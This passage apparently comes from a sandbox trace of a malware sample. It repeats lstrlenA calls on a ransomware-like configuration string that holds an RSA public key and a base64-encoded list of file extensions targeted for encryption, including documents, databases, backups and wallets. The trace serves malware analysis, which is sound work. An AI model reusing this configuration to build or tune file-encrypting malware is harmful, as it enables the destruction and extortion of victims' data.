FpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0